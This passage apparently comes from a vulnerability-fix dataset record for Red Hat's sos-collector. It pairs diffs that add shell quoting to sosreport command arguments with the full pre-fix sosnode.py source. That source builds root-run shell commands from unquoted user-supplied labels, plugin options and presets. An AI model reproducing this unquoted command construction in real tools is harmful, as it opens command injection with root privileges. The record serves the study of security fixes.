to a provided list of nodes from\n the user. If there is not a match, the node is removed from the list'''\n for regex in self.config['nodes']:\n try:\n regex = fnmatch.translate(regex)\n if re.match(regex, node):\n return True\n except re.error as err:\n msg = 'Error comparing %s to provided node regex %s: %s'\n self.log_debug(msg % (node, regex, err))\n return False\n\n def get_nodes(self):\n ''' Sets the list of nodes to collect sosreports from '''\n if not self.config['master'] and not self.config['cluster']:\n msg = ('Could not determine a cluster type and no list of '\n 'nodes or master node was provided.\\nAborting...'\n )\n self._exit(msg)\n\n try:\n nodes = self.get_nodes_from_cluster()\n if self.config['nodes']:\n for node in nodes:\n if self.compare_node_to_regex(node):\n self.node_list.append(node)\n else:\n self.node_list = nodes\n except Exception as e:\n self.log_debug(\"Error parsing node list: %s\" % e)\n self.log_debug('Setting node list to --nodes option')\n self.node_list = self.config['nodes']\n for node in self.node_list:\n if any(i in node for i in ('*', '\\\\', '?', '(', ')', '/')):\n self.node_list.remove(node)\n\n # force add any non-regex node strings from nodes option\n if self.config['nodes']:\n for node in self.config['nodes']:\n if any(i in node for i in '*\\\\?()/[]'):\n continue\n if node not in self.node_list:\n self.log_debug(\"Force adding %s to node list\" % node)\n self.node_list.append(node)\n\n if not self.config['master']:\n host = self.config['hostname'].split('.')[0]\n # trust the local hostname before the node report from cluster\n for node in self.node_list:\n if host == node.split('.')[0]:\n self.node_list.remove(node)\n self.node_list.append(self.config['hostname'])\n self.reduce_node_list()\n try:\n self.config['hostlen'] = len(max(self.node_list, key=len))\n except (TypeError, ValueError):\n self.config['hostlen'] = len(self.config['master'])\n\n def _connect_to_node(self, node):\n '''Try to connect to the node, and if we can add to the client list to\n run sosreport on\n '''\n try:\n client = SosNode(node, self.config)\n if client.connected:\n self.client_list.append(client)\n else:\n client.close_ssh_session()\n except Exception:\n pass\n\n def collect(self):\n ''' For each node, start a collection thread and then tar all\n collected sosreports '''\n if self.master.connected:\n self.client_list.append(self.master)\n self.console.info(\"\\nConnecting to nodes...\")\n filters = [self.master.address, self.master.hostname]\n nodes = [n for n in self.node_list if n not in filters]\n\n try:\n pool = ThreadPoolExecutor(self.config['threads'])\n pool.map(self._connect_to_node, nodes, chunksize=1)\n pool.shutdown(wait=True)\n\n self.report_num = len(self.client_list)\n if self.config['no_local'] and self.master.address == 'localhost':\n self.report_num -= 1\n\n self.console.info(\"\\nBeginning collection of sosreports from %s \"\n \"nodes, collecting a maximum of %s \"\n \"concurrently\\n\"\n % (self.report_num, self.config['threads'])\n )\n\n pool = ThreadPoolExecutor(self.config['threads'])\n pool.map(self._collect, self.client_list, chunksize=1)\n pool.shutdown(wait=True)\n except KeyboardInterrupt:\n self.log_error('Exiting on user cancel\\n')\n os._exit(130)\n\n if hasattr(self.config['cluster'], 'run_extra_cmd'):\n self.console.info('Collecting additional data from master node...')\n files = self.config['cluster']._run_extra_cmd()\n if files:\n self.master.collect_extra_cmd(files)\n msg = '\\nSuccessfully captured %s of %s sosreports'\n self.log_info(msg % (self.retrieved, self.report_num))\n if self.retrieved > 0:\n self.create_cluster_archive()\n else:\n msg = 'No sosreports were collected, nothing to archive...'\n self._exit(msg, 1)\n self.close_all_connections()\n\n def _collect(self, client):\n '''Runs sosreport on each node'''\n try:\n if not client.local:\n client.sosreport()\n else:\n if not self.config['no_local']:\n client.sosreport()\n if client.retrieved:\n self.retrieved += 1\n except Exception as err:\n self.log_error(\"Error running sosreport: %s\" % err)\n\n def close_all_connections(self):\n '''Close all ssh sessions for nodes'''\n for client in self.client_list:\n self.log_debug('Closing SSH connection to %s' % client.address)\n client.close_ssh_session()\n\n def create_cluster_archive(self):\n '''Calls for creation of tar archive then cleans up the temporary\n files created by sos-collector'''\n self.log_info('Creating archive of sosreports...')\n self.create_sos_archive()\n if self.archive:\n self.logger.info('Archive created as %s' % self.archive)\n self.cleanup()\n self.console.info('\\nThe following archive has been created. '\n 'Please provide it to your support team.')\n self.console.info(' %s' % self.archive)\n\n def create_sos_archive(self):\n '''Creates a tar archive containing all collected sosreports'''\n try:\n self.archive = self._get_archive_path()\n with tarfile.open(self.archive, \"w:gz\") as tar:\n for fname in os.listdir(self.config['tmp_dir']):\n arcname = fname\n if fname == self.logfile.name.split('/')[-1]:\n arcname = 'sos-collector.log'\n if fname == self.console_log_file.name.split('/')[-1]:\n arcname = 'ui.log'\n tar.add(os.path.join(self.config['tmp_dir'], fname),\n arcname=self.arc_name + '/' + arcname)\n tar.close()\n except Exception as e:\n msg = 'Could not create archive: %s' % e\n self._exit(msg, 2)\n\n def cleanup(self):\n ''' Removes the tmp dir and all sosarchives therein.\n\n If tmp dir was supplied by user, only the sos archives within\n that dir are removed.\n '''\n if self.config['tmp_dir_created']:\n self.delete_tmp_dir()\n else:\n for f in os.listdir(self.config['tmp_dir']):\n if re.search('*sosreport-*tar*', f):\n os.remove(os.path.join(self.config['tmp_dir'], f))\n"}, "/soscollector/sosnode.py": {"changes": [{"diff": "\n \n label = self.determine_sos_label()\n if label:\n- self.sos_cmd = ' %s %s' % (self.sos_cmd, label)\n+ self.sos_cmd = ' %s %s' % (self.sos_cmd, quote(label))\n \n if self.config['sos_opt_line']:\n return True\n", "add": 1, "remove": 1, "filename": "/soscollector/sosnode.py", "badparts": [" self.sos_cmd = ' %s %s' % (self.sos_cmd, label)"], "goodparts": [" self.sos_cmd = ' %s %s' % (self.sos_cmd, quote(label))"]}, {"diff": "\n 'enabled but do not exist' % not_only)\n only = self._fmt_sos_opt_list(self.config['only_plugins'])\n if only:\n- self.sos_cmd += ' --only-plugins=%s' % only\n+ self.sos_cmd += ' --only-plugins=%s' % quote(only)\n return True\n \n if self.config['skip_plugins']:\n", "add": 1, "remove": 1, "filename": "/soscollector/sosnode.py", "badparts": [" self.sos_cmd += ' --only-plugins=%s' % only"], "goodparts": [" self.sos_cmd += ' --only-plugins=%s' % quote(only)"]}, {"diff": "\n 'already not enabled' % not_skip)\n skipln = self._fmt_sos_opt_list(skip)\n if skipln:\n- self.sos_cmd += ' --skip-plugins=%s' % skipln\n+ self.sos_cmd += ' --skip-plugins=%s' % quote(skipln)\n \n if self.config['enable_plugins']:\n # only run enable for plugins that are disabled\n", "add": 1, "remove": 1, "filename": "/soscollector/sosnode.py", "badparts": [" self.sos_cmd += ' --skip-plugins=%s' % skipln"], "goodparts": [" self.sos_cmd += ' --skip-plugins=%s' % quote(skipln)"]}, {"diff": "\n 'are already enabled or do not exist' % not_on)\n enable = self._fmt_sos_opt_list(opts)\n if enable:\n- self.sos_cmd += ' --enable-plugins=%s' % enable\n+ self.sos_cmd += ' --enable-plugins=%s' % quote(enable)\n \n if self.config['plugin_options']:\n opts = [o for o in self.config['plugin_options']\n if self._plugin_exists(o.split('.')[0])\n and self._plugin_option_exists(o.split('=')[0])]\n if opts:\n- self.sos_cmd += ' -k %s' % ','.join(o for o in opts)\n+ self.sos_cmd += ' -k %s' % quote(','.join(o for o in opts))\n \n if self.config['preset']:\n if self._preset_exists(self.config['preset']):\n- self.sos_cmd += ' --preset=%s' % self.config['preset']\n+ self.sos_cmd += ' --preset=%s' % quote(self.config['preset'])\n else:\n self.log_debug('Requested to enable preset %s but preset does '\n 'not exist on node' % self.config['preset'])\n", "add": 3, "remove": 3, "filename": "/soscollector/sosnode.py", "badparts": [" self.sos_cmd += ' --enable-plugins=%s' % enable", " self.sos_cmd += ' -k %s' % ','.join(o for o in opts)", " self.sos_cmd += ' --preset=%s' % self.config['preset']"], "goodparts": [" self.sos_cmd += ' --enable-plugins=%s' % quote(enable)", " self.sos_cmd += ' -k %s' % quote(','.join(o for o in opts))", " self.sos_cmd += ' --preset=%s' % quote(self.config['preset'])"]}], "source": "\n import fnmatch import inspect import logging import os import paramiko import re import shutil import socket import subprocess import six import time from distutils.version import LooseVersion from subprocess import Popen, PIPE class SosNode(): def __init__(self, address, config, force=False, load_facts=True): self.address=address.strip() self.local=False self.hostname=None self.config=config self.sos_path=None self.retrieved=False self.hash_retrieved=False self.sos_info={ 'version': None, 'enabled':[], 'disabled':[], 'options':[], 'presets':[] } filt=['localhost', '127.0.0.1', self.config['hostname']] self.logger=logging.getLogger('sos_collector') self.console=logging.getLogger('sos_collector_console') if self.address not in filt or force: self.connected=self.open_ssh_session() self.sftp=self.client.open_sftp() else: self.connected=True self.local=True if self.connected and load_facts: self.host=self.determine_host() self._set_sos_prefix(self.host.set_sos_prefix()) if not self.host: self.connected=False self.close_ssh_session() return None self.log_debug(\"Host facts found to be %s\" % self.host.report_facts()) self.get_hostname() self._load_sos_info() def _fmt_msg(self, msg): return '{:<{}}:{}'.format(self._hostname, self.config['hostlen'] +1, msg) def file_exists(self, fname): '''Checks for the presence of fname on the remote node''' if not self.local: try: self.sftp.stat(fname) return True except Exception as err: return False else: try: os.stat(fname) return True except Exception: return False @property def _hostname(self): return self.hostname if self.hostname else self.address def _sanitize_log_msg(self, msg): '''Attempts to obfuscate sensitive information in log messages such as passwords''' reg=r'(?P(pass|key|secret|PASS|KEY|SECRET).*?=)(?P.*?\\s)' return re.sub(reg, r'\\g****** ', msg) def log_info(self, msg): '''Used to print and log info messages''' caller=inspect.stack()[1][3] lmsg='[%s:%s] %s' %(self._hostname, caller, msg) self.logger.info(lmsg) self.console.info(self._fmt_msg(msg)) def log_error(self, msg): '''Used to print and log error messages''' caller=inspect.stack()[1][3] lmsg='[%s:%s] %s' %(self._hostname, caller, msg) self.logger.error(lmsg) self.console.error(self._fmt_msg(msg)) def log_debug(self, msg): '''Used to print and log debug messages''' msg=self._sanitize_log_msg(msg) caller=inspect.stack()[1][3] msg='[%s:%s] %s' %(self._hostname, caller, msg) self.logger.debug(msg) if self.config['verbose']: self.console.debug(msg) def get_hostname(self): '''Get the node's hostname''' sout=self.run_command('hostname') self.hostname=sout['stdout'].strip() self.log_debug( 'Hostname set to %s' % self.hostname) def _format_cmd(self, cmd): '''If we need to provide a sudo or root password to a command, then here we prefix the command with the correct bits ''' if self.config['become_root']: return \"su -c '%s'\" % cmd if self.config['need_sudo']: return \"sudo -S %s\" % cmd return cmd def _fmt_output(self, stdout=None, stderr=None, rc=0): '''Formats the returned output from a command into a dict''' if isinstance(stdout,(six.string_types, bytes)): stdout=[stdout.decode('utf-8')] if isinstance(stderr,(six.string_types, bytes)): stderr=[stderr.decode('utf-8')] if stdout: stdout=''.join(s for s in stdout) or True if stderr: stderr=' '.join(s for s in stderr) or False res={'status': rc, 'stdout': stdout, 'stderr': stderr} return res def _load_sos_info(self): '''Queries the node for information about the installed version of sos ''' cmd=self.host.prefix +self.host.pkg_query(self.host.sos_pkg_name) res=self.run_command(cmd) if res['status']==0: ver=res['stdout'].splitlines()[-1].split('-')[1] self.sos_info['version']=ver self.log_debug('sos version is %s' % self.sos_info['version']) else: self.log_error('sos is not installed on this node') self.connected=False return False cmd=self.host.prefix +'sosreport -l' sosinfo=self.run_command(cmd) if sosinfo['status']==0: self._load_sos_plugins(sosinfo['stdout']) if self.check_sos_version('3.6'): self._load_sos_presets() def _load_sos_presets(self): cmd=self.host.prefix +'sosreport --list-presets' res=self.run_command(cmd) if res['status']==0: for line in res['stdout'].splitlines(): if line.strip().startswith('name:'): pname=line.split('name:')[1].strip() self.sos_info['presets'].append(pname) def _load_sos_plugins(self, sosinfo): ENABLED='The following plugins are currently enabled:' DISABLED='The following plugins are currently disabled:' OPTIONS='The following plugin options are available:' PROFILES='Profiles:' enablereg=ENABLED +'(.*?)' +DISABLED disreg=DISABLED +'(.*?)' +OPTIONS optreg=OPTIONS +'(.*?)' +PROFILES proreg=PROFILES +'(.*?)' +'\\n\\n' self.sos_info['enabled']=self._regex_sos_help(enablereg, sosinfo) self.sos_info['disabled']=self._regex_sos_help(disreg, sosinfo) self.sos_info['options']=self._regex_sos_help(optreg, sosinfo) self.sos_info['profiles']=self._regex_sos_help(proreg, sosinfo, True) def _regex_sos_help(self, regex, sosinfo, is_list=False): res=[] for result in re.findall(regex, sosinfo, re.S): for line in result.splitlines(): if not is_list: try: res.append(line.split()[0]) except Exception: pass else: r=line.split(',') res.extend(p.strip() for p in r if p.strip()) return res def _set_sos_prefix(self, prefix): '''Applies any configuration settings to the sos prefix defined by a host type ''' if self.host.containerized: prefix=prefix %{ 'image': self.config['image'] or self.host.container_image } self.host.prefix=prefix def read_file(self, to_read): '''Reads the specified file and returns the contents''' try: self.log_debug(\"Reading file %s\" % to_read) if not self.local: remote=self.sftp.open(to_read) return remote.read() else: with open(to_read, 'r') as rfile: return rfile.read() except Exception as err: if err.errno==2: self.log_debug(\"File %s does not exist on node\" % to_read) else: self.log_error(\"Error reading %s: %s\" %(to_read, err)) return '' def determine_host(self): '''Attempts to identify the host installation against supported distributions ''' for host_type in self.config['host_types']: host=self.config['host_types'][host_type](self.address) rel_string=self.read_file(host.release_file).strip() try: rel_string=rel_string.decode('utf-8') except AttributeError: pass if host._check_enabled(rel_string): self.log_debug(\"Host installation found to be %s\" % host.distribution) return host self.log_error('Unable to determine host installation. Ignoring node') raise Exception('Host did not match any supported distributions') def check_sos_version(self, ver): '''Checks to see if the sos installation on the node is AT LEAST the given ver. This means that if the installed version is greater than ver, this will still return True ''' return LooseVersion(self.sos_info['version']) >=ver def is_installed(self, pkg): '''Checks if a given package is installed on the node''' cmd=self.host.pkg_query(pkg) res=self.run_command(cmd) if res['status']==0: return True return False def run_command(self, cmd, timeout=180, get_pty=False, need_root=False): '''Runs a given cmd, either via the SSH session or locally''' if cmd.startswith('sosreport'): cmd=cmd.replace('sosreport', self.host.sos_bin_path) need_root=True if need_root: get_pty=True cmd=self._format_cmd(cmd) self.log_debug('Running command %s' % cmd) if 'atomic' in cmd: get_pty=True if not self.local: now=time.time() sin, sout, serr=self.client.exec_command(cmd, timeout=timeout, get_pty=get_pty) while time.time() < now +timeout: if not sout.channel.exit_status_ready(): time.sleep(0.1) if self.config['become_root'] and need_root: sin.write(self.config['root_password'] +'\\n') sin.flush() need_root=False if self.config['sudo_pw'] and need_root: sin.write(self.config['sudo_pw'] +'\\n') sin.flush() need_root=False if sout.channel.exit_status_ready(): rc=sout.channel.recv_exit_status() return self._fmt_output(sout, serr, rc) else: raise socket.timeout else: proc=Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) if self.config['become_root'] and need_root: stdout, stderr=proc.communicate( input=self.config['root_password'] +'\\n' ) elif self.config['need_sudo'] and need_root: stdout, stderr=proc.communicate( input=self.config['sudo_pw'] +'\\n' ) else: stdout, stderr=proc.communicate() rc=proc.returncode return self._fmt_output(stdout=stdout, stderr=stderr, rc=rc) def sosreport(self): '''Run a sosreport on the node, then collect it''' self.finalize_sos_cmd() self.log_debug('Final sos command set to %s' % self.sos_cmd) try: path=self.execute_sos_command() if path: self.finalize_sos_path(path) else: self.log_error('Unable to determine path of sos archive') if self.sos_path: self.retrieved=self.retrieve_sosreport() except Exception: pass self.cleanup() def _determine_ssh_error(self, errors): '''Used to handle ssh exceptions when trying to connect the node. errors: the 'errors' dict from the exception raised returns: either a formatted error string or None ''' for err in errors: errno=errors[err].errno if errno==103: return 'Key exchange failed' if errno==108: return 'SSH version is unsupported' if errno==111: return(\"Could not open SSH session on port %s\" % self.config['ssh_port']) if errno==115: return \"No valid SSH user '%s'\" % self.config['ssh_user'] return None def open_ssh_session(self): '''Create the persistent ssh session we use on the node''' try: self.client=paramiko.SSHClient() self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.client.load_system_host_keys() self.log_debug('Opening session to %s.' % self.address) self.client.connect(self.address, username=self.config['ssh_user'], port=self.config['ssh_port'], password=self.config['password'] or None, timeout=15) self.log_debug('%s successfully connected' % self._hostname) return True except paramiko.AuthenticationException: if not self.config['password']: self.log_error('Authentication failed. SSH keys installed?') else: self.log_error('Authentication failed. Incorrect password.') except paramiko.BadAuthenticationType: self.log_error('Bad authentication type. The node rejected the ' 'authentication attempt.') except paramiko.BadHostKeyException: self.log_error('Provided key was rejected by remote SSH client.' ' Check ~/.ssh/known_hosts.') except socket.gaierror as err: if err.errno==-2: self.log_error('Provided hostname did not resolve.') else: self.log_error('Socket error trying to connect: %s' % err) except Exception as err: msg=\"Unable to connect: %s\" % err if hasattr(err, 'errors'): msg=self._determine_ssh_error(err.errors) self.log_error(msg) raise def close_ssh_session(self): '''Handle closing the SSH session''' if self.local: return True try: self.client.close() self.connected=False return True except Exception as e: self.log_error('Error closing SSH session: %s' % e) return False def _preset_exists(self, preset): '''Verifies if the given preset exists on the node''' return preset in self.sos_info['presets'] def _plugin_exists(self, plugin): '''Verifies if the given plugin exists on the node''' return any(plugin in s for s in[self.sos_info['enabled'], self.sos_info['disabled']]) def _check_enabled(self, plugin): '''Checks to see if the plugin is default enabled on node''' return plugin in self.sos_info['enabled'] def _check_disabled(self, plugin): '''Checks to see if the plugin is default disabled on node''' return plugin in self.sos_info['disabled'] def _plugin_option_exists(self, opt): '''Attempts to verify that the given option is available on the node. Note that we only get available options for enabled plugins, so if a plugin has been force-enabled we cannot validate if the plugin option is correct or not''' plug=opt.split('.')[0] if not self._plugin_exists(plug): return False if(self._check_disabled(plug) and plug not in self.config['enable_plugins']): return False if self._check_enabled(plug): return opt in self.sos_info['options'] return True def _fmt_sos_opt_list(self, opts): '''Returns a comma delimited list for sos plugins that are confirmed to exist on the node''' return ','.join(o for o in opts if self._plugin_exists(o)) def finalize_sos_cmd(self): '''Use host facts and compare to the cluster type to modify the sos command if needed''' self.sos_cmd=self.config['sos_cmd'] self.sos_cmd=self.host.prefix +self.sos_cmd label=self.determine_sos_label() if label: self.sos_cmd=' %s %s' %(self.sos_cmd, label) if self.config['sos_opt_line']: return True if self.config['only_plugins']: plugs=[o for o in self.config['only_plugins'] if self._plugin_exists(o)] if len(plugs) !=len(self.config['only_plugins']): not_only=list(set(self.config['only_plugins']) -set(plugs)) self.log_debug('Requested plugins %s were requested to be ' 'enabled but do not exist' % not_only) only=self._fmt_sos_opt_list(self.config['only_plugins']) if only: self.sos_cmd +=' --only-plugins=%s' % only return True if self.config['skip_plugins']: skip=[o for o in self.config['skip_plugins'] if self._check_enabled(o)] if len(skip) !=len(self.config['skip_plugins']): not_skip=list(set(self.config['skip_plugins']) -set(skip)) self.log_debug('Requested to skip plugins %s, but plugins are ' 'already not enabled' % not_skip) skipln=self._fmt_sos_opt_list(skip) if skipln: self.sos_cmd +=' --skip-plugins=%s' % skipln if self.config['enable_plugins']: opts=[o for o in self.config['enable_plugins'] if o not in self.config['skip_plugins'] and self._check_disabled(o) and self._plugin_exists(o)] if len(opts) !=len(self.config['enable_plugins']): not_on=list(set(self.config['enable_plugins']) -set(opts)) self.log_debug('Requested to enable plugins %s, but plugins ' 'are already enabled or do not exist' % not_on) enable=self._fmt_sos_opt_list(opts) if enable: self.sos_cmd +=' --enable-plugins=%s' % enable if self.config['plugin_options']: opts=[o for o in self.config['plugin_options'] if self._plugin_exists(o.split('.')[0]) and self._plugin_option_exists(o.split('=')[0])] if opts: self.sos_cmd +=' -k %s' % ','.join(o for o in opts) if self.config['preset']: if self._preset_exists(self.config['preset']): self.sos_cmd +=' --preset=%s' % self.config['preset'] else: self.log_debug('Requested to enable preset %s but preset does ' 'not exist on node' % self.config['preset']) def determine_sos_label(self): '''Determine what, if any, label should be added to the sosreport''' label='' label +=self.config['cluster'].get_node_label(self) if self.config['label']: label +=('%s' % self.config['label'] if not label else '-%s' % self.config['label']) if not label: return None self.log_debug('Label for sosreport set to %s' % label) if self.check_sos_version('3.6'): lcmd='--label' else: lcmd='--name' label='%s-%s' %(self.address.split('.')[0], label) return '%s=%s' %(lcmd, label) def finalize_sos_path(self, path): '''Use host facts to determine if we need to change the sos path we are retrieving from''' pstrip=self.host.sos_path_strip if pstrip: path=path.replace(pstrip, '') path=path.split()[0] self.log_debug('Final sos path: %s' % path) self.sos_path=path self.archive=path.split('/')[-1] def determine_sos_error(self, rc, stdout): if rc==-1: return 'sosreport process received SIGKILL on node' if rc==1: if 'sudo' in stdout: return 'sudo attempt failed' if rc==127: return 'sosreport terminated unexpectedly. Check disk space' if len(stdout) > 0: return stdout.split('\\n')[0:1] else: return 'sos exited with code %s' % rc def execute_sos_command(self): '''Run sosreport and capture the resulting file path''' self.log_info(\"Generating sosreport...\") try: path=False res=self.run_command(self.sos_cmd, timeout=self.config['timeout'], get_pty=True, need_root=True) if res['status']==0: for line in res['stdout'].splitlines(): if fnmatch.fnmatch(line, '*sosreport-*tar*'): path=line.strip() else: err=self.determine_sos_error(res['status'], res['stdout']) self.log_debug(\"Error running sosreport. rc=%s msg=%s\" %(res['status'], res['stdout'] or res['stderr'])) raise Exception(err) return path except socket.timeout: self.log_error('Timeout exceeded') raise except Exception as e: self.log_error('Error running sosreport: %s' % e) raise def retrieve_file(self, path): '''Copies the specified file from the host to our temp dir''' destdir=self.config['tmp_dir'] +'/' dest=destdir +path.split('/')[-1] try: if not self.local: if self.file_exists(path): self.log_debug(\"Copying remote %s to local %s\" % (path, destdir)) self.sftp.get(path, dest) else: self.log_debug(\"Attempting to copy remote file %s, but it \" \"does not exist on filesystem\" % path) return False else: self.log_debug(\"Moving %s to %s\" %(path, destdir)) shutil.copy(path, dest) return True except Exception as err: self.log_debug(\"Failed to retrieve %s: %s\" %(path, err)) return False def remove_file(self, path): '''Removes the spciefied file from the host. This should only be used after we have retrieved the file already ''' try: if self.file_exists(path): self.log_debug(\"Removing file %s\" % path) if(self.local or self.config['become_root'] or self.config['need_sudo']): cmd=\"rm -f %s\" % path res=self.run_command(cmd, need_root=True) else: self.sftp.remove(path) return True else: self.log_debug(\"Attempting to remove remote file %s, but it \" \"does not exist on filesystem\" % path) return False except Exception as e: self.log_debug('Failed to remove %s: %s' %(path, e)) return False def retrieve_sosreport(self): '''Collect the sosreport archive from the node''' if self.sos_path: if self.config['need_sudo'] or self.config['become_root']: try: self.make_archive_readable(self.sos_path) except Exception: self.log_error('Failed to make archive readable') return False try: self.make_archive_readable(self.sos_path +'.md5') except Exception: self.log_debug('Failed to make md5 readable') self.logger.info('Retrieving sosreport from %s' % self.address) self.log_info('Retrieving sosreport...') ret=self.retrieve_file(self.sos_path) if ret: self.log_info('Successfully collected sosreport') else: self.log_error('Failed to retrieve sosreport') return False self.hash_retrieved=self.retrieve_file(self.sos_path +'.md5') return True else: if self.stderr.read(): e=self.stderr.read() else: e=[x.strip() for x in self.stdout.readlines() if x.strip][-1] self.logger.error( 'Failed to run sosreport on %s: %s' %(self.address, e)) self.log_error('Failed to run sosreport. %s' % e) return False def remove_sos_archive(self): '''Remove the sosreport archive from the node, since we have collected it and it would be wasted space otherwise''' if self.sos_path is None: return if 'sosreport' not in self.sos_path: self.log_debug(\"Node sosreport path %s looks incorrect. Not \" \"attempting to remove path\" % self.sos_path) return removed=self.remove_file(self.sos_path) if not removed: self.log_error('Failed to remove sosreport') def cleanup(self): '''Remove the sos archive from the node once we have it locally''' self.remove_sos_archive() if self.hash_retrieved: self.remove_file(self.sos_path +'.md5') cleanup=self.host.set_cleanup_cmd() if cleanup: self.run_command(cleanup) def collect_extra_cmd(self, filenames): '''Collect the file created by a cluster outside of sos''' for filename in filenames: try: if self.config['need_sudo'] or self.config['become_root']: try: self.make_archive_readable(filename) except Exception as err: self.log_error(\"Unable to retrieve file %s\" % filename) self.log_debug(\"Failed to make file %s readable: %s\" %(filename, err)) continue ret=self.retrieve_file(filename) if ret: self.remove_file(filename) else: self.log_error(\"Unable to retrieve file %s\" % filename) except Exception as e: msg='Error collecting additional data from master: %s' % e self.log_error(msg) def make_archive_readable(self, filepath): '''Used to make the given archive world-readable, which is slightly better than changing the ownership outright. This is only used when we're not connecting as root. ''' cmd='chmod o+r %s' % filepath res=self.run_command(cmd, timeout=10, need_root=True) if res['status']==0: return True else: msg=\"Exception while making %s readable. Return code was %s\" self.log_error(msg %(filepath, res['status'])) raise Exception ", "sourceWithComments": "# Copyright Red Hat 2017, Jake Hunsaker \n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nimport fnmatch\nimport inspect\nimport logging\nimport os\nimport paramiko\nimport re\nimport shutil\nimport socket\nimport subprocess\nimport six\nimport time\n\nfrom distutils.version import LooseVersion\nfrom subprocess import Popen, PIPE\n\n\nclass SosNode():\n\n def __init__(self, address, config, force=False, load_facts=True):\n self.address = address.strip()\n self.local = False\n self.hostname = None\n self.config = config\n self.sos_path = None\n self.retrieved = False\n self.hash_retrieved = False\n self.sos_info = {\n 'version': None,\n 'enabled': [],\n 'disabled': [],\n 'options': [],\n 'presets': []\n }\n filt = ['localhost', '127.0.0.1', self.config['hostname']]\n self.logger = logging.getLogger('sos_collector')\n self.console = logging.getLogger('sos_collector_console')\n if self.address not in filt or force:\n self.connected = self.open_ssh_session()\n self.sftp = self.client.open_sftp()\n else:\n self.connected = True\n self.local = True\n if self.connected and load_facts:\n self.host = self.determine_host()\n self._set_sos_prefix(self.host.set_sos_prefix())\n if not self.host:\n self.connected = False\n self.close_ssh_session()\n return None\n self.log_debug(\"Host facts found to be %s\" %\n self.host.report_facts())\n self.get_hostname()\n self._load_sos_info()\n\n def _fmt_msg(self, msg):\n return '{:<{}} : {}'.format(self._hostname, self.config['hostlen'] + 1,\n msg)\n\n def file_exists(self, fname):\n '''Checks for the presence of fname on the remote node'''\n if not self.local:\n try:\n self.sftp.stat(fname)\n return True\n except Exception as err:\n return False\n else:\n try:\n os.stat(fname)\n return True\n except Exception:\n return False\n\n @property\n def _hostname(self):\n return self.hostname if self.hostname else self.address\n\n def _sanitize_log_msg(self, msg):\n '''Attempts to obfuscate sensitive information in log messages such as\n passwords'''\n reg = r'(?P(pass|key|secret|PASS|KEY|SECRET).*?=)(?P.*?\\s)'\n return re.sub(reg, r'\\g****** ', msg)\n\n def log_info(self, msg):\n '''Used to print and log info messages'''\n caller = inspect.stack()[1][3]\n lmsg = '[%s:%s] %s' % (self._hostname, caller, msg)\n self.logger.info(lmsg)\n self.console.info(self._fmt_msg(msg))\n\n def log_error(self, msg):\n '''Used to print and log error messages'''\n caller = inspect.stack()[1][3]\n lmsg = '[%s:%s] %s' % (self._hostname, caller, msg)\n self.logger.error(lmsg)\n self.console.error(self._fmt_msg(msg))\n\n def log_debug(self, msg):\n '''Used to print and log debug messages'''\n msg = self._sanitize_log_msg(msg)\n caller = inspect.stack()[1][3]\n msg = '[%s:%s] %s' % (self._hostname, caller, msg)\n self.logger.debug(msg)\n if self.config['verbose']:\n self.console.debug(msg)\n\n def get_hostname(self):\n '''Get the node's hostname'''\n sout = self.run_command('hostname')\n self.hostname = sout['stdout'].strip()\n self.log_debug(\n 'Hostname set to %s' % self.hostname)\n\n def _format_cmd(self, cmd):\n '''If we need to provide a sudo or root password to a command, then\n here we prefix the command with the correct bits\n '''\n if self.config['become_root']:\n return \"su -c '%s'\" % cmd\n if self.config['need_sudo']:\n return \"sudo -S %s\" % cmd\n return cmd\n\n def _fmt_output(self, stdout=None, stderr=None, rc=0):\n '''Formats the returned output from a command into a dict'''\n if isinstance(stdout, (six.string_types, bytes)):\n stdout = [stdout.decode('utf-8')]\n if isinstance(stderr, (six.string_types, bytes)):\n stderr = [stderr.decode('utf-8')]\n if stdout:\n stdout = ''.join(s for s in stdout) or True\n if stderr:\n stderr = ' '.join(s for s in stderr) or False\n res = {'status': rc,\n 'stdout': stdout,\n 'stderr': stderr}\n return res\n\n def _load_sos_info(self):\n '''Queries the node for information about the installed version of sos\n '''\n cmd = self.host.prefix + self.host.pkg_query(self.host.sos_pkg_name)\n res = self.run_command(cmd)\n if res['status'] == 0:\n ver = res['stdout'].splitlines()[-1].split('-')[1]\n self.sos_info['version'] = ver\n self.log_debug('sos version is %s' % self.sos_info['version'])\n else:\n self.log_error('sos is not installed on this node')\n self.connected = False\n return False\n cmd = self.host.prefix + 'sosreport -l'\n sosinfo = self.run_command(cmd)\n if sosinfo['status'] == 0:\n self._load_sos_plugins(sosinfo['stdout'])\n if self.check_sos_version('3.6'):\n self._load_sos_presets()\n\n def _load_sos_presets(self):\n cmd = self.host.prefix + 'sosreport --list-presets'\n res = self.run_command(cmd)\n if res['status'] == 0:\n for line in res['stdout'].splitlines():\n if line.strip().startswith('name:'):\n pname = line.split('name:')[1].strip()\n self.sos_info['presets'].append(pname)\n\n def _load_sos_plugins(self, sosinfo):\n ENABLED = 'The following plugins are currently enabled:'\n DISABLED = 'The following plugins are currently disabled:'\n OPTIONS = 'The following plugin options are available:'\n PROFILES = 'Profiles:'\n\n enablereg = ENABLED + '(.*?)' + DISABLED\n disreg = DISABLED + '(.*?)' + OPTIONS\n optreg = OPTIONS + '(.*?)' + PROFILES\n proreg = PROFILES + '(.*?)' + '\\n\\n'\n\n self.sos_info['enabled'] = self._regex_sos_help(enablereg, sosinfo)\n self.sos_info['disabled'] = self._regex_sos_help(disreg, sosinfo)\n self.sos_info['options'] = self._regex_sos_help(optreg, sosinfo)\n self.sos_info['profiles'] = self._regex_sos_help(proreg, sosinfo, True)\n\n def _regex_sos_help(self, regex, sosinfo, is_list=False):\n res = []\n for result in re.findall(regex, sosinfo, re.S):\n for line in result.splitlines():\n if not is_list:\n try:\n res.append(line.split()[0])\n except Exception:\n pass\n else:\n r = line.split(',')\n res.extend(p.strip() for p in r if p.strip())\n return res\n\n def _set_sos_prefix(self, prefix):\n '''Applies any configuration settings to the sos prefix defined by a\n host type\n '''\n if 